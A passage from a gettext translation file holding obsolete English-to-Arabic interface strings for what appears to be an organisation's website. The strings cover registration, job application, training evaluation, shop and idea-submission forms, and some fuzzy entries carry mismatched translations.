#~ msgstr "العنوان 2"

#~ msgid "Row number"
#~ msgstr "رقم الصف"

#~ msgid "First name"
#~ msgstr "الاسم الأول"

#~ msgid "Last name"
#~ msgstr "اسم الأخير"

#~ msgid "Export"
#~ msgstr "تصدير"

#~ msgid "Company Name"
#~ msgstr "اسم الشركة"

#~ msgid "Nationality"
#~ msgstr "الجنسية"

# @ total
#~ msgid "Address"
#~ msgstr "العنوان"

#~ msgid "Type of organization"
#~ msgstr "نوع المؤسسة"

#~ msgid "Phone"
#~ msgstr "الهاتف"

#~ msgid "Enquiry"
#~ msgstr "الاستفسار"

#~ msgid "Register"
#~ msgstr "انضم معنا"

#~ msgid "Our"
#~ msgstr "  "

#~ msgid "Please Select"
#~ msgstr "الرجاء الاختيار "

#~ msgid ""
#~ "I consent to my data being stored under the terms of the CRF Privacy "
#~ "Notice."
#~ msgstr "أوافق على الشروط والأحكام ."

#~ msgid "Send"
#~ msgstr "أرسـل"

# @ total
#~ msgid "Order number"
#~ msgstr "رقم الترتيب"

#~ msgid ""
#~ "Thank you for registering with us to complete registration please visit "
#~ "the following link <a target=\"_blank\" href=\"https://www.crforum.co.uk/"
#~ "join-us/\">Click Here</a>"
#~ msgstr ""
#~ "‫ <a target=“_blank” href=“https://www.crforum.co.uk/join-us/“>اضغط هنا</a"

#~ msgid "Our New"
#~ msgstr "جديدنا"

#~ msgid "Actions"
#~ msgstr "الأحداث"

#~ msgid "Action"
#~ msgstr "الحدث"

#~ msgid "All Services"
#~ msgstr "كل الخدمات"

#~ msgid "Infrastructure"
#~ msgstr "البنية التحتية"

#~ msgid "More"
#~ msgstr "المزيد"

#~ msgid "URL slider"
#~ msgstr "رابط السلايد"

#~ msgid "Target slider"
#~ msgstr "نوع الرابط"

#~ msgid "normal"
#~ msgstr "عادي"

#~ msgid "blank"
#~ msgstr "صفحة منفصلة"

#~ msgid "Page Option"
#~ msgstr "خيارات الصفحة"

#~ msgid "Fax"
#~ msgstr "فاكس"

#~ msgid "Show Map"
#~ msgstr "عرض الخريطة"

#~ msgid "on"
#~ msgstr "عرض"

#~ msgid "Riyadh Saudi Arabia"
#~ msgstr "السعودية الرياض"

#~ msgid "&copy; %s All rights reserved %d."
#~ msgstr "‏&copy; جميع الحقوق محفوظة لـ %s %d"

#~ msgid "My Account"
#~ msgstr "حسابي"

#~ msgid "Login / Register"
#~ msgstr "دخول / تسجيل جديد"

#~ msgid "Our products"
#~ msgstr "منتجاتنا"

#, fuzzy
#~| msgid "Return "
#~ msgid "Return to shop"
#~ msgstr "العودة"

#, fuzzy
#~| msgid "Philippines"
#~ msgid "Shipping"
#~ msgstr "الفلبين"

#, fuzzy
#~| msgid "Products"
#~ msgid "Product"
#~ msgstr "المنتجات"

#, fuzzy
#~| msgid "New Price"
#~ msgid "Price"
#~ msgstr "السعر الجديد"

# @ total
#, fuzzy
#~| msgid "Delete this image"
#~ msgid "Remove this item"
#~ msgstr "احذف  الصورة"

# @ total
#, fuzzy
#~| msgid "Select Country"
#~ msgid "Select a country&hellip;"
#~ msgstr "أختر الدولة"

#, fuzzy
#~| msgid "Update Videos"
#~ msgid "Update totals"
#~ msgstr "تحديث الفيديو"

#, fuzzy
#~| msgid "Return "
#~ msgid "Return to cart"
#~ msgstr "العودة"

#, fuzzy
#~| msgid "Your notes"
#~ msgid "Your order"
#~ msgstr "ملاحظاتك"

#, fuzzy
#~| msgid "Click Here"
#~ msgid "Click here to login"
#~ msgstr "اضغط هنا"

#, fuzzy
#~| msgid "Contact Information"
#~ msgid "Additional information"
#~ msgstr "معلومات الاتصال"

#, fuzzy
#~| msgid "Day"
#~ msgid "Pay"
#~ msgstr "اليوم"

#, fuzzy
#~| msgid "Date"
#~ msgid "Date:"
#~ msgstr "التاريخ"

#, fuzzy
#~| msgid "Email"
#~ msgid "Email:"
#~ msgstr "البريد الإلكتروني"

#, fuzzy
#~| msgid "Payment Method"
#~ msgid "Payment method:"
#~ msgstr "طريقة السداد"

#, fuzzy
#~| msgid "Username"
#~ msgid "Username or email"
#~ msgstr "اسم المستخدم"

#~ msgid "Password"
#~ msgstr "كلمة المرور"

#, fuzzy
#~| msgid "Remember Me"
#~ msgid "Remember me"
#~ msgstr "تذكرني"

#, fuzzy
#~| msgid "Enter email address"
#~ msgid "Email address"
#~ msgstr "ضع بريدك الإلكتروني هنا .."

#, fuzzy
#~| msgid "Password"
#~ msgid "Password change"
#~ msgstr "كلمة المرور"

# @ total
#, fuzzy
#~| msgid "Find Address"
#~ msgid "Billing address"
#~ msgstr "بحث بالعنوان"

# @ total
#, fuzzy
#~| msgid "Find Address"
#~ msgid "Shipping address"
#~ msgstr "بحث بالعنوان"

#~ msgid "Login"
#~ msgstr "تسجيل الدخول"

#, fuzzy
#~| msgid "Enter email address"
#~ msgid "Username or email address"
#~ msgstr "ضع بريدك الإلكتروني هنا .."

#~ msgid "Username"
#~ msgstr "اسم المستخدم"

#, fuzzy
#~| msgid "Password"
#~ msgid "New password"
#~ msgstr "كلمة المرور"

#, fuzzy
#~| msgid "Available jobs"
#~ msgid "Available downloads"
#~ msgstr "الوظائف المتاحة"

# @ total
#, fuzzy
#~| msgid "Order saved"
#~ msgid "Order"
#~ msgstr "تم الحفظ"

#~ msgid "Date"
#~ msgstr "التاريخ"

#, fuzzy
#~| msgid "Recent News"
#~ msgid "Recent orders"
#~ msgstr "آخر الأخبار"

#, fuzzy
#~| msgid "Preview"
#~ msgid "Previous"
#~ msgstr "معاينة"

#~ msgid "Next"
#~ msgstr "التالي"

# @ total
#, fuzzy
#~| msgid "Order saved"
#~ msgid "Order updates"
#~ msgstr "تم الحفظ"

#, fuzzy
#~| msgid "Search Jobs"
#~ msgid "Search for:"
#~ msgstr "بحث في الوظائف"

#, fuzzy
#~| msgid "Preview"
#~ msgid "Reviews"
#~ msgstr "معاينة"

# @ total
#, fuzzy
#~| msgid "Add Service"
#~ msgid "Add a review"
#~ msgstr "اضف خدمة  جديد"

#, fuzzy
#~| msgid "Submit Now"
#~ msgid "Submit"
#~ msgstr "تقديم الآن"

#, fuzzy
#~| msgid "Extensions"
#~ msgid "Dimensions"
#~ msgstr "الملحقات"

# @ total
#, fuzzy
#~| msgid "URL description"
#~ msgid "Description"
#~ msgstr "رابط التفاصيل"

#~ msgid "Please type your full name"
#~ msgstr "الرجاء كتابة اسمك الكامل"

#~ msgid "Please type a Subject message "
#~ msgstr "الرجاء كتابة عنوان الرسالة "

#~ msgid "Please type your message "
#~ msgstr "الرجاء كتابة رسالتك."

#~ msgid "Message has been sent successfully, Thank you."
#~ msgstr "تم ارسال رسالتك بنجاح، شكراً لك ."

#~ msgid "Please select a country"
#~ msgstr "الرجاء تحديد الدولة"

#~ msgid "Please type your email correctly"
#~ msgstr "الرجاء كتابة بريديك الإلكتروني بصورة صحيحة"

#~ msgid "Please type your mobile"
#~ msgstr "الرجاء كتابة رقم جوالك."

#~ msgid "Please type about your self"
#~ msgstr "الرجاء كتابة نبذة عنك"

#~ msgid "Please type the Idea name"
#~ msgstr "الرجاء كتابة اسم الفكرة"

#~ msgid "Please select a category"
#~ msgstr "الرجاء اختيار تصنيف الفكرة"

#~ msgid "Please select the Idea source"
#~ msgstr "الرجاء اختيار  مصدر الفكرة"

#~ msgid "This field is required"
#~ msgstr "هذا الحقل مطلوب"

#~ msgid "The file size is too large"
#~ msgstr "الملف المحدد غير  حجمه كبير جداً"

#~ msgid "The selected file is not allowed"
#~ msgstr "الملف المحدد غير مسموح به"

#~ msgid "Ideas"
#~ msgstr "الأفكار"

#~ msgid "Idea source"
#~ msgstr "مصدر الفكرة"

#~ msgid "All sources"
#~ msgstr "كل المصادر"

#~ msgid "New idea"
#~ msgstr "فكرة جديدة"

#~ msgid "Transferred idea"
#~ msgstr "فكرة منقولة"

#~ msgid "Category"
#~ msgstr "التصنيف"

#~ msgid "Choose idea category"
#~ msgstr "أختر تصنيف الفكرة"

#~ msgid "Details"
#~ msgstr "التفاصيل"

#~ msgid "Organization"
#~ msgstr "المنظمة"

#~ msgid "Subject"
#~ msgstr "العنوان"

#~ msgid "Message"
#~ msgstr "نص الرسالة"

#~ msgid "Full Name"
#~ msgstr "الاسم الكامل"

#~ msgid "Organization name"
#~ msgstr "اسم المنظمة"

#~ msgid "Country"
#~ msgstr "الدولة"

# @ total
#~ msgid "Your Address"
#~ msgstr "عنوانك"

#~ msgid "Mobile"
#~ msgstr "رقم الجوال"

#~ msgid "Your personal image or Organization logo"
#~ msgstr "صورتك الشخصية أو شعار المنظمة"

#~ msgid "Write about yourself"
#~ msgstr "اكتب عن نفسك"

#~ msgid "Name of idea"
#~ msgstr "اسم الفكرة"

#~ msgid "Type the name of your idea"
#~ msgstr "اكتب اسم فكرتك"

#~ msgid "Choose your idea category"
#~ msgstr "أختر تصنيف فكرتك"

#~ msgid "Where did you get this idea? which country ?"
#~ msgstr "من أين نقلت الفكرة ؟ أي دولة ؟"

#~ msgid "Idea Goals"
#~ msgstr "أهداف الفكرة"

#~ msgid "Idea summery"
#~ msgstr "‫ملخص الفكرة"

#~ msgid "Targeted Group"
#~ msgstr "الفئة المستهدفة"

#~ msgid "Idea Results"
#~ msgstr "نتائج الفكرة"

#~ msgid "Approach"
#~ msgstr "النهج"

#~ msgid "Sustainability"
#~ msgstr "الاستدامة"

#~ msgid "File about idea"
#~ msgstr "ملف عن الفكرة"

#~ msgid "I agree"
#~ msgstr "اوافق على"

#~ msgid "Back"
#~ msgstr "عودة"

#~ msgid "Save"
#~ msgstr "حفظ"

#~ msgid "Important Links"
#~ msgstr "روابط مهمة"

#~ msgid "Design"
#~ msgstr "تصميم"

#~ msgid "Ali Hussein"
#~ msgstr "علي حسين"

#~ msgid "Ahmed Khalid"
#~ msgstr "أحمد خالد"

#~ msgid "Idea"
#~ msgstr "فكرة"

#~ msgid "Share"
#~ msgstr "شارك"

#~ msgid "Search"
#~ msgstr "بحث"

#~ msgid "Is special"
#~ msgstr "الفكرة مميزة ؟"

#~ msgid "We have in Idea Bank"
#~ msgstr "لدينا في بنك الأفكار"

#~ msgid "Number of new ideas"
#~ msgstr "عدد الأفكار الجديدة"

#~ msgid "Number of movable ideas"
#~ msgstr "عدد الأفكار المنقولة"

# @ total
#~ msgid "Latest Ideas"
#~ msgstr "آخر الأفكار"

#~ msgid "Show More"
#~ msgstr "مشاهدة المزيد"

# @ total
#~ msgid "Latest News"
#~ msgstr "آخر الأخبار"

#~ msgid "Search Results"
#~ msgstr "نتائج البحث"

#~ msgid "Please select the image"
#~ msgstr "الرجاء تحديد الصورة "

#~ msgid "Unable to determine image type of uploaded file"
#~ msgstr "غير قادر علي تحديد نوع الصورة للملف الذي تم تحميله"

#~ msgid "Your file not image"
#~ msgstr "الملف المحدد ليس صورة"

#~ msgid "Objectives of idea"
#~ msgstr "أهداف الفكرة"

#~ msgid "Outcomes of idea"
#~ msgstr "نتائج الفكرة"

#~ msgid "Advantages of idea"
#~ msgstr "مزايا الفكرة"

#~ msgid "Sustain"
#~ msgstr "الاستدامة"

#~ msgid "Movable idea"
#~ msgstr "فكرة منقولة"

#~ msgid "Type of idea"
#~ msgstr "نوع الفكرة"

#~ msgid "Name of donor"
#~ msgstr "اسم المتبرع"

#~ msgid "Please type the Idea summery"
#~ msgstr "الرجاء كتابة ملخص الفكرة"

#~ msgid "Please type the Idea source"
#~ msgstr "الرجاء كتابة مصدر الفكرة"

#~ msgid "The expected solutions of the idea"
#~ msgstr "الحلول المتوقعة من الفكرة"

#~ msgid "Effect of idea"
#~ msgstr "تاثير الفكرة"

#~ msgid "Location Text"
#~ msgstr "نص الموقع الجغزافي"

# @ total
#~ msgid "New"
#~ msgstr "جديد"

#~ msgid "Donor name"
#~ msgstr "اسم ال"

#~ msgid "Video option"
#~ msgstr "خيارات الفيديو"

#~ msgid "Ex:"
#~ msgstr "مثال:"

#~ msgid "Program option"
#~ msgstr "خيارات البرنامج"

#~ msgid "icon"
#~ msgstr "الايقونة"

#~ msgid "From:"
#~ msgstr "من: "

#~ msgid "Show volunteer button"
#~ msgstr "عرض زر التطوع"

#~ msgid "Report option"
#~ msgstr "خيارات التقرير"

#~ msgid "File"
#~ msgstr "الملف"

#~ msgid "Thumbnail - (Hover)"
#~ msgstr "الصورة البارزة (عند مرور الماوس )"

#~ msgid "Number"
#~ msgstr "الرقم"

#~ msgid "Please type a bank name"
#~ msgstr "الرجاء كتابة اسم البنك"

#~ msgid "Please type a name"
#~ msgstr "الرجاء كتابة اسم المحول"

#~ msgid "Please type account number"
#~ msgstr "الرجاء كتابة رقم الحساب"

#~ msgid "Please upload your receipt image"
#~ msgstr "الرجاء تحديد صورة الإيصال"

#~ msgid "An error in the verification code, try again"
#~ msgstr "خطأ في كود التحقق ,, حاول مجددا"

#~ msgid "This field is required "
#~ msgstr "هذا الحقل مطلوب"

#~ msgid "Request a new job"
#~ msgstr "طلب وظيفة جديد"

#~ msgid "Please type text your idea "
#~ msgstr "يرجى كتابة نص فكرتك "

#~ msgid "Your message has been sent successfully, Thank you."
#~ msgstr "تم ارسال رسالتك بنجاح، شكراً لك ."

#~ msgid "Please type your Second name"
#~ msgstr "الرجاء كتابة اسم الأب"

#~ msgid "Please type your grand name"
#~ msgstr "الرجاء كتابة اسم الجد"

#~ msgid "Please type family name"
#~ msgstr "الرجاء كتابة اسم العائلة"

#~ msgid "Please type your age"
#~ msgstr "الرجاء كتابة عمرك"

#~ msgid "Please type your scientific level"
#~ msgstr "الرجاء كتابة بريدك الإلكتروني"

#~ msgid "Please type your study area"
#~ msgstr "الرجاء كتابة جهة دراستك"

#~ msgid "Please type your employer"
#~ msgstr "الرجاء كتابة جهة عملك"

#~ msgid "Please type telephone number"
#~ msgstr "الرجاء كتابة رقم جوالك"

#~ msgid "Please select course"
#~ msgstr "الرجاء تحديد البرنامج"

#~ msgid "Please select the payment method"
#~ msgstr "الرجاء تحديد طريقة الدفع"

#~ msgid "You must agree to the terms"
#~ msgstr "يجب عليك الموافقة على الشروط"

#~ msgid "Please type select your gender"
#~ msgstr "الرجاء تحديد جنسك"

#~ msgid "Please type select your marital status"
#~ msgstr "الرجاء تحديد حالتك الإجتماعية"

#~ msgid "Please type your living place"
#~ msgstr "الرجاء مكان السكن"

#~ msgid "Please type select your educational level"
#~ msgstr "الرجاء تحديد مستواك العلمي "

#~ msgid "Please type type your specialization"
#~ msgstr "الرجاء كتابة تخصصك"

#~ msgid "Our Events"
#~ msgstr "فعالياتنا"

# @ total
#~ msgid "News"
#~ msgstr "الأخبار"

#~ msgid "Our Programs"
#~ msgstr "‏برامجنا"

#~ msgid "Reports"
#~ msgstr "التقارير"

#~ msgid "Download"
#~ msgstr "تحميل"

#~ msgid "Videos"
#~ msgstr "الفيديو"

#~ msgid "Barcode"
#~ msgstr "باركود"

#~ msgid "Register with us to receive our news"
#~ msgstr "سجل معنا لتصلك أخبارنا"

#~ msgid "Council members"
#~ msgstr "أعضاء المجلس"

#~ msgid "Job"
#~ msgstr "الوظيفة"

#~ msgid "Jobs available"
#~ msgstr "الوظائف المتاحة"

#~ msgid "Our Program"
#~ msgstr "‏برنامجنا"

#~ msgid "Our Event"
#~ msgstr "فعاليتنا"

#~ msgid "Our client"
#~ msgstr "عميلنا"

#~ msgid "Cash"
#~ msgstr "نقدا"

#~ msgid "Cheque"
#~ msgstr "شيك"

#~ msgid "Bank transfer / deposit"
#~ msgstr "تحويل / إيداع بنكي"

#~ msgid "Level 1: Training Program"
#~ msgstr "المستوى الأول : البرنامج التدريبي"

#~ msgid "Clarity of objectives"
#~ msgstr "وضوح الأهداف"

#~ msgid "Excellent"
#~ msgstr "ممتاز"

#~ msgid "Very good"
#~ msgstr "جيد جداً"

#~ msgid "Good"
#~ msgstr "جيد"

#~ msgid "Fair"
#~ msgstr "متوسط"

#~ msgid "Weak"
#~ msgstr "ضعيف"

#~ msgid "Achievement of objectives"
#~ msgstr "تحقق الأهداف"

#~ msgid "The training meets expectations and desires"
#~ msgstr "يشبع الاحتياجات والرغبات"

#~ msgid "Clarity and sequence of scientific content"
#~ msgstr "المحتوى العلمي متسلسل وواضح"

#~ msgid "Integrated and coherent topics"
#~ msgstr "ترابط الموضوعات وتكاملها"

#~ msgid "Printed materials have sufficient information"
#~ msgstr "كفاية المحتوى العلمي في المادة المطبوعة بين أيديكم"

#~ msgid "Printed materials have a suitable design"
#~ msgstr "مناسبة التصميم في المادة المطبوعة بين ايديكم"

#~ msgid "The timetable is suitable for the training topics"
#~ msgstr "مناسبة الجدول الزمني لموضوعات البرنامج"

#~ msgid "Level 2: The Trainer"
#~ msgstr "المستوى الثاني : المدربـ/ة"

#~ msgid "Acquainted with the topic"
#~ msgstr "إلمامة بالمادة"

#~ msgid "Able to deliver"
#~ msgstr "قدرته على توصيل المعلومات"

#~ msgid "Able to manage the presentation (clarity and efficiency)"
#~ msgstr "قدرته على تنظيم العرض  ( من حيث الوضوح والكفائة )"

#~ msgid "Cooperative and motivating"
#~ msgstr "مدى تعاونه مع المتدربين وتحفيزهم"

#~ msgid "Able to facilitate the training session"
#~ msgstr "إدارته للجلسة التدريبية"

#~ msgid "Able to keep to the point/topic"
#~ msgstr "تقيده بموضوع الدورة"

#~ msgid "Versatile and utilizing different tools"
#~ msgstr "تنويع أساليب التدريب والوسائل المستخدمة"

#~ msgid "Level 3: Training Environment"
#~ msgstr "المستوى الثالث : بيئة البرنامج التدريبي"

#~ msgid "Suitability of the training period"
#~ msgstr "مناسبة مدة البرنامج"

#~ msgid "Convenient and suitable venue"
#~ msgstr "مناسبة مكان البرنامج من حيث سهولة الوصول إليه"

#~ msgid "Suitability of the training schedule"
#~ msgstr "مناسبة وقت البرنامج"

#~ msgid "Audible equipment "
#~ msgstr "تجهيزات القاعات التدريبية ( الصوتيات )"

#~ msgid "Air conditioning"
#~ msgstr "‫تجهيزات القاعات التدريبية ( التكييف ) "

#~ msgid "Lightning"
#~ msgstr "‫‫تجهيزات القاعات التدريبية ( الإضاءة )"

#~ msgid "Presentation equipment"
#~ msgstr "‫‫تجهيزات القاعات التدريبية ( اجهزة وأدوات العرض )"

#~ msgid "Buffet"
#~ msgstr "مناسبة البوفيه"

#~ msgid "Level 4: General Information"
#~ msgstr "المستوى الرابع : معلومات عامة"

#~ msgid "Do you think you are the right person for the training program?"
#~ msgstr "هل تعتقد انك الشخص المناسب لحضور البرنامج ؟"

#~ msgid "Specify"
#~ msgstr "وضح أكثر"

#~ msgid "Do you think the training program has helped to improve your skills?"
#~ msgstr "هل تعتقد أن البرنامج ساعدك على تطوير مهاراتك ؟"

#~ msgid ""
#~ "Do you think the training program will reflect positively on your "
#~ "economic status?"
#~ msgstr "هل تعتقد أن البرنامج سينعكس على وضعك الإقتصادي ؟"

#~ msgid ""
#~ "Do you think the training program will reflect positively on your social "
#~ "status?"
#~ msgstr "هل تعقتد أن البرنامج سنعكس أثره على وضعك الإجتماعي ؟"

#~ msgid ""
#~ "Have you been provided with sufficient information regarding the nature "
#~ "and type of the training program?"
#~ msgstr "هل اعطيت شعارا كافيا عن طبيعة ونوع البرنامج قبل حضوره ؟"

#~ msgid "Please indicate the most vital information you have acquired:"
#~ msgstr "أهم المعارف التي تم الحصول عليها ؟"

#~ msgid "Please indicate the most essential skills you have acquired:"
#~ msgstr "اهم المهارات التي تم اكتسابها؟"

#~ msgid "What are the merits of the training program?"
#~ msgstr "أهم مميزات البرنامج التدريبي ؟"

#~ msgid "Positive things"
#~ msgstr "الإيجابيات"

#~ msgid "Things that need improving:"
#~ msgstr "أمور تحتاج الى تحسين"

#~ msgid "Do you have any suggestions to improve the training programs?"
#~ msgstr "أهم المقترحات لتحسين البرامج التدريبة ؟"

#~ msgid "Full name"
#~ msgstr "الاسم الكامل"

#~ msgid "Gender"
#~ msgstr "الجنس"

#~ msgid "Age"
#~ msgstr "العمر"

#~ msgid "Living"
#~ msgstr "السكن"

#~ msgid "Educational level"
#~ msgstr "المستوى التعليمي"

#~ msgid "Specialization"
#~ msgstr "التخصص"

#~ msgid "Mobile No."
#~ msgstr "رقم الجوال"

#~ msgid "Experience and areas of expertise"
#~ msgstr "أبرز الخبرات ومجالات العمل"

#~ msgid "The most accredited training courses"
#~ msgstr "أبرز الدورات التدريبية  المعتمدة "

#~ msgid "Desired volunteer Time"
#~ msgstr "أوقات العمل التطوعي المرغوبة"

#~ msgid "Desirable areas of volunteering"
#~ msgstr "مجالات العمل التطوعي المرغوبة "

#~ msgid "Which age groups that want to work with them"
#~ msgstr "أي الفئات العمرية التي ترغب العمل معها"

#~ msgid "Reasons for wanting to join"
#~ msgstr "أسباب رغبتك للانضمام"

#~ msgid "View All"
#~ msgstr "عرض الكل"

#~ msgid "Success Partners"
#~ msgstr "شركاء النجاح"

# @ total
#~ msgid "Select a type"
#~ msgstr "اختر النوع"

#~ msgid "Suggestion"
#~ msgstr "اقتراح"

#~ msgid "Other"
#~ msgstr "أخرى"

#~ msgid "Bank Name"
#~ msgstr "اسم البنك"

#~ msgid "Image of receipt"
#~ msgstr "صورة إيصال السداد"

#~ msgid "Excuse me, your request has not been found."
#~ msgstr "عفواً لم يتم العثور على طلبك."

#~ msgid "Apply"
#~ msgstr "تقديم"

#~ msgid "The name appears in the certificate in Arabic and English"
#~ msgstr ""
#~ "الاسم كما سيظهر بالشهادة ‬‫باللغتين العربية والانجليزية‬\n"
#~ "‫ "

#~ msgid "Scientific level"
#~ msgstr "المستوى العلمي"

#~ msgid "Study area"
#~ msgstr "جهة الدراسة"

#~ msgid "Employer"
#~ msgstr "جهة العمل"

#~ msgid "E-mail"
#~ msgstr "البريد الإلكتروني"

# @ total
#~ msgid "Select the course"
#~ msgstr "حدد الدورة التدريبية"

#~ msgid "Time to communicate when necessary"
#~ msgstr "الوقت المناسب للتواصل عند اللزوم"

#~ msgid "Other courses you like to get"
#~ msgstr "‫دورات أخرى تحب الحصول عليه"

#~ msgid "Male"
#~ msgstr "ذكر"

#~ msgid "Female"
#~ msgstr "انثى"

#~ msgid "Marital status"
#~ msgstr "الحالة الإجتماعية"

#~ msgid "Single"
#~ msgstr "أعزب"

#~ msgid "Married"
#~ msgstr "متزوج"

#~ msgid "City + Neighborhood"
#~ msgstr "المدينة + الحي"

#~ msgid "Elementary"
#~ msgstr "ابتدائي"

#~ msgid "Intermediate"
#~ msgstr "متوسط"

#~ msgid "University"
#~ msgstr "جامعي"

#~ msgid "Master"
#~ msgstr "ماجستير"

#~ msgid "PhD"
#~ msgstr "دكتوراه"

#~ msgid "(In the last two years)"
#~ msgstr "(في آخر سنتين)"

#~ msgid "Morning"
#~ msgstr "صباحي"

#~ msgid "Evening"
#~ msgstr "مسائي"

#~ msgid "Monthly"
#~ msgstr "شهري"

#~ msgid "Weekly"
#~ msgstr "أسبوعي"

#~ msgid "More than once a week"
#~ msgstr "أكثر من مرة في الأسبوع"

#~ msgid "Daily"
#~ msgstr "يومي"

#~ msgid "Children"
#~ msgstr "أطفال"

#~ msgid "Emerging"
#~ msgstr "الناشئة"

#~ msgid "Young"
#~ msgstr "الشباب"

#~ msgid "Orphans"
#~ msgstr "الأيتام"

#~ msgid "The Elderly"
#~ msgstr "المسننين"

#~ msgid "Search result for"
#~ msgstr "نتائج البحث عن"

#~ msgid "Search …"
#~ msgstr "بحث‪...‬"

#~ msgid "Apply for this Role"
#~ msgstr "التقديم على هذه الوظيفة"

#~ msgid "Date of birth"
#~ msgstr "تاريخ الميلاد"

#~ msgid "The Graduation"
#~ msgstr "جهة التخرج"

#~ msgid "Graduation date"
#~ msgstr "تاريخ التخرج"

#~ msgid "Certificate/Specialization"
#~ msgstr "الشهادة /التخصص"

#~ msgid "Graduation Rate"
#~ msgstr "معدل التخرج"

#~ msgid "Last four approved courses I've got in the last two years."
#~ msgstr "آخر أربعة دورات معتمدة حصلت عليها خلال السنتين الأخيرة."

#~ msgid "Highlights of personal abilities and skills"
#~ msgstr "أبرز القدرات والمهارات الشخصية"

#~ msgid "Main achievements"
#~ msgstr "أبرز الإنجازات"

#~ msgid "Persons/entities recommended to deal with it"
#~ msgstr "أشخاص / جهات يوصون بالتعامل معه"

#~ msgid "Previous experiences"
#~ msgstr "الخبرات السابقة"

#~ msgid "Graduation Certificate"
#~ msgstr "شهادة التخرج"

#~ msgid "Recommendation or Sponsorship"
#~ msgstr "توصية أو تزكية"

#~ msgid "Volunteer"
#~ msgstr "تطوع"

# @ total
#~ msgid "Upload Images"
#~ msgstr "تحميل الصورة"

#~ msgid "General Particulars"
#~ msgstr "تفاصيل عامة"

#~ msgid "Position"
#~ msgstr "الوظيفة"

#~ msgid "Trainer's name"
#~ msgstr "المدرب/ـة"

#~ msgid "Place"
#~ msgstr "المكان"

#~ msgid "Average"
#~ msgstr "متوسط"

# @ total
#~ msgid "Select All / None"
#~ msgstr "أختيار  الكل"

#~ msgid "Your Job"
#~ msgstr "وظيفتك"

#~ msgid "Trainer"
#~ msgstr "المدرب/ـة"

#~ msgid "Please type your telephone No."
#~ msgstr "الرجاء كتابة رقم هاتفك."

#~ msgid "Please select your nationality "
#~ msgstr "الرجاء تحديد جنسيتك "

#~ msgid "Please upload your resume"
#~ msgstr "الرجاء تحديد ملف السيرة الذاتية"

#~ msgid "Resume/CV"
#~ msgstr "السيرة الذاتية"

# @ total
#~ msgid "Allowed files"
#~ msgstr "الملفات المسموحة"

#~ msgid "How did you hear about this job?"
#~ msgstr "كيف سمعت عن هذه الوظيفة ؟"

#~ msgid "Friend"
#~ msgstr "صديق"

#~ msgid "Social media"
#~ msgstr "التواصل الإجتماعي"

#~ msgid "SMS"
#~ msgstr "رسائل الجوال"

#~ msgid "Select your nationality"
#~ msgstr "حدد جنسيتك"

#~ msgid "Saudi"
#~ msgstr "سعودي"

#~ msgid "Non-Saudi"
#~ msgstr "غير سعودي"

#~ msgid "Grand Father"
#~ msgstr "اسم الجد"

#~ msgid "Family Name"
#~ msgstr "اسم العائلة"

#~ msgid "Available job"
#~ msgstr "الوظيفة المتاحة"

#~ msgid "Location Text - Arabic"
#~ msgstr "نص الموقع الجغرافي - عربي"

#~ msgid "Location Text - English"
#~ msgstr "نص الموقع الجغرافي - إنجليزي"

#~ msgid "Navbar English"
#~ msgstr "النافبار - انجليزي"

#~ msgid "Color"
#~ msgstr "اللون"

#, fuzzy
#~ msgid "Pollination Date"
#~ msgstr "تاريخ الإلتحاق"

#, fuzzy
#~ msgid "Job title - Arabic"
#~ msgstr "العنوان الفرعي - عربي"

#, fuzzy
#~ msgid "Job title - English"
#~ msgstr "العنوان الفرعي - انجليزي"

# @ total
#, fuzzy
#~ msgid "About Partner"
#~ msgstr "اضف شريك   جديد"

#, fuzzy
#~ msgid "Location - Arabic"
#~ msgstr "نص الموقع الجغرافي - عربي"

#, fuzzy
#~ msgid "Location - English"
#~ msgstr "نص الموقع الجغرافي - إنجليزي"

#, fuzzy
#~ msgid "Website"
#~ msgstr "موقع العميل"

#~ msgid "Latest on Instagram"
#~ msgstr "جديدنا على انستقرام"

#~ msgid "Navbar Arabic"
#~ msgstr "النافبار - عربي"

#~ msgid "social menu"
#~ msgstr "قائمة المواقع الإجتماعية"

#~ msgid "Leathers"
#~ msgstr "الجلود"

#~ msgid "Fabrics"
#~ msgstr "الأقمشة"

#~ msgid "Plastic"
#~ msgstr "البلاستيك"

#~ msgid "Branches"
#~ msgstr "الفروع"

#~ msgid "Thumbnail"
#~ msgstr "الصورة البارزة"

#~ msgid "branch option"
#~ msgstr "خيارات الفرع"

#~ msgid "Work Time"
#~ msgstr "أوقات العمل"

#~ msgid "Search in map"
#~ msgstr "بحث في الخريطة"

# @ total
#~ msgid "New Arrivals"
#~ msgstr "وصل حديثاً"

#~ msgid "More leathers"
#~ msgstr "المزيد من الجلود"

#~ msgid "More fabrics"
#~ msgstr "المزيد من الأقمشة"

#~ msgid "Product Share"
#~ msgstr "مشاركة المنتج"

#~ msgid "Sponsors"
#~ msgstr "الرعاة"

#~ msgid "Sponsor"
#~ msgstr "الراعي"

#~ msgid "Sponsorship program"
#~ msgstr "برنامج الرعاية"

#~ msgid ""
#~ "Thank you, the message has been sent successfully, you will be answered "
#~ "as soon as possible"
#~ msgstr "شكرا لك , تم ارسال الرسالة بنجاح سيتم الرد عليك في اقرب وقت ممكن"

#~ msgid "Telephone Number"
#~ msgstr "رقم  الهاتف"

#~ msgid "contac us"
#~ msgstr "اتصل بنا"

#~ msgid "Incoming correspondence"
#~ msgstr "المراسلات الواردة"

#~ msgid "Settings Contact Us"
#~ msgstr "إعدادات اتصل بنا"

#~ msgid "Send a copy"
#~ msgstr "ارسال نسخة"

#~ msgid "Send e-mail a copy of the correspondence"
#~ msgstr "أرسل للبريد الالكتروني نسخة من المراسلات"

#~ msgid "Address of the incoming message"
#~ msgstr "عنوان الرسالة الواردة"

#~ msgid "You can add an e-mail to one or more alert and up a copy of messages"
#~ msgstr "يمكنك اضافة بريد الكتروني 1 أو أكثر ليصل تنبيه ونسخة من الرسائل"

#~ msgid "Email 1"
#~ msgstr "البريد الإلكتروني 1"

#~ msgid "Email 2"
#~ msgstr "البريد الإلكتروني 2"

#~ msgid "Email 3"
#~ msgstr "البريد الإلكتروني 3"

#~ msgid "Deleted successfully"
#~ msgstr "تم الحذف بنجاح"

#~ msgid "Modified successfully"
#~ msgstr "تم التغيير بنجاح"

#~ msgid "Contact us"
#~ msgstr "اتصل بنا"

#~ msgid "Execute the command"
#~ msgstr "تنفيذ الأمر"

#~ msgid "Change to the (normal)"
#~ msgstr "تغيير إلى (عادي)"

#~ msgid "Change to (special)"
#~ msgstr "تغيير إلى (مميز)"

#~ msgid "Are you sure you want to delete?"
#~ msgstr "هل أنت متأكد من الحذف؟"

#~ msgid "Delete Selected"
#~ msgstr "حذف المحدد"

#~ msgid "Export to Excel"
